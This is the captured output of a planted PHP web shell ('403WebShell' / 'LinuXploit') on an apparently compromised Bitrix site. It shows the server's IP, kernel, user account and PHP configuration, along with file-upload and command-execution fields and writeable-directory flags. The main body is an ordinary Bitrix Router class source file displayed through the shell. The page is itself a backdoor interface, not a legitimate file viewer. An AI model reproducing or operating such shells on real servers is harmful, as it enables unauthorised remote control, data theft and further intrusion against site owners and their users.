%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.148.107.193
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/routing/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/routing/router.php
<?php
/**
 * Bitrix Framework
 * @package    bitrix
 * @subpackage main
 * @copyright  2001-2020 Bitrix
 */

namespace Bitrix\Main\Routing;

use Bitrix\Main\HttpRequest;
use Bitrix\Main\Routing\Exceptions\ParameterNotFoundException;

/**
 * @package    bitrix
 * @subpackage main
 */
class Router
{
	/** @var Route[] */
	protected $routes = [];

	/** @var Route[] */
	protected $routesByName = [];

	/** @var RoutingConfiguration[] */
	protected $configurations = [];

	public function registerConfiguration($configuration)
	{
		$this->configurations[] = $configuration;
	}

	public function releaseRoutes()
	{
		// go recursively through routes tree
		$i = -1;
		while (isset($this->configurations[++$i]))
		{
			$this->routes = array_merge($this->routes, $this->configurations[$i]->release());
		}

		// reindex
		$this->reindexRoutes();

		// don't need them anymore
		$this->configurations = [];
	}

	protected function reindexRoutes()
	{
		$this->routesByName = [];

		foreach ($this->routes as $route)
		{
			if ($route->getOptions() && $route->getOptions()->hasName())
			{
				$this->routesByName[$route->getOptions()->getFullName()] = $route;
			}
		}
	}

	/**
	 * @param HttpRequest $request
	 *
	 * @return Route|void
	 */
	public function match($request)
	{
		$path = $this->getUriPath($request);

		foreach ($this->routes as $route)
		{
			if ($matchResult = $route->match($path))
			{
				// check method
				if (!empty($route->getOptions()->getMethods())
					&& !in_array($request->getRequestMethod(), $route->getOptions()->getMethods(), true))
				{
					continue;
				}

				if (is_array($matchResult))
				{
					$route->getParametersValues()->setValues($matchResult);
				}

				return $route;
			}
		}
	}

	/**
	 * @param HttpRequest $request
	 *
	 * @return string
	 */
	protected function getUriPath($request)
	{
		// cut GET parameters
		$path = str_replace(
			'?'.$request->getServer()->get('QUERY_STRING'),
			'',
			$request->getRequestUri()
		);

		// cut scheme and domain
		$scheme = $request->isHttps() ? 'https://' : 'http://';
		$schemeLen = strlen($scheme);

		if (substr($path, 0, $schemeLen) === $scheme)
		{
			$pathSlashPos = strpos(substr($path, $schemeLen), '/') + $schemeLen;
			$path = substr($path, $pathSlashPos);
		}

		return $path;
	}

	public function url($url, $parameters = [])
	{
		// scheme, domain?
		$finalUrl = $url;

		if (!empty($parameters))
		{
			$finalUrl .= '?'.http_build_query($parameters);
		}

		return $finalUrl;
	}

	public function route($name, $parameters = [])
	{
		if (!empty($this->routesByName[$name]))
		{
			// route should be compiled
			$route = $this->routesByName[$name];
			$route->compile();

			$uri = $route->getUri();

			if (!empty($routeParameters = $route->getParameters()))
			{
				foreach ($routeParameters as $parameterName => $pattern)
				{
					if (array_key_exists($parameterName, $parameters))
					{
						// get from user
						$value = $parameters[$parameterName];

						// remove from user list
						unset($parameters[$parameterName]);
					}
					elseif ($route->getOptions() && $route->getOptions()->hasDefault($parameterName))
					{
						$value = $route->getOptions()->getDefault($parameterName);
					}
					else
					{
						throw new ParameterNotFoundException;
					}

					// check with pattern?

					$uri = str_replace("{{$parameterName}}", urlencode($value), $uri);
				}
			}

			// additional parameters as query string
			if (!empty($parameters))
			{
				$uri .= '?'.http_build_query($parameters);
			}

			return $uri;
		}
	}

	/**
	 * @return Route[]
	 */
	public function getRoutes()
	{
		return $this->routes;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit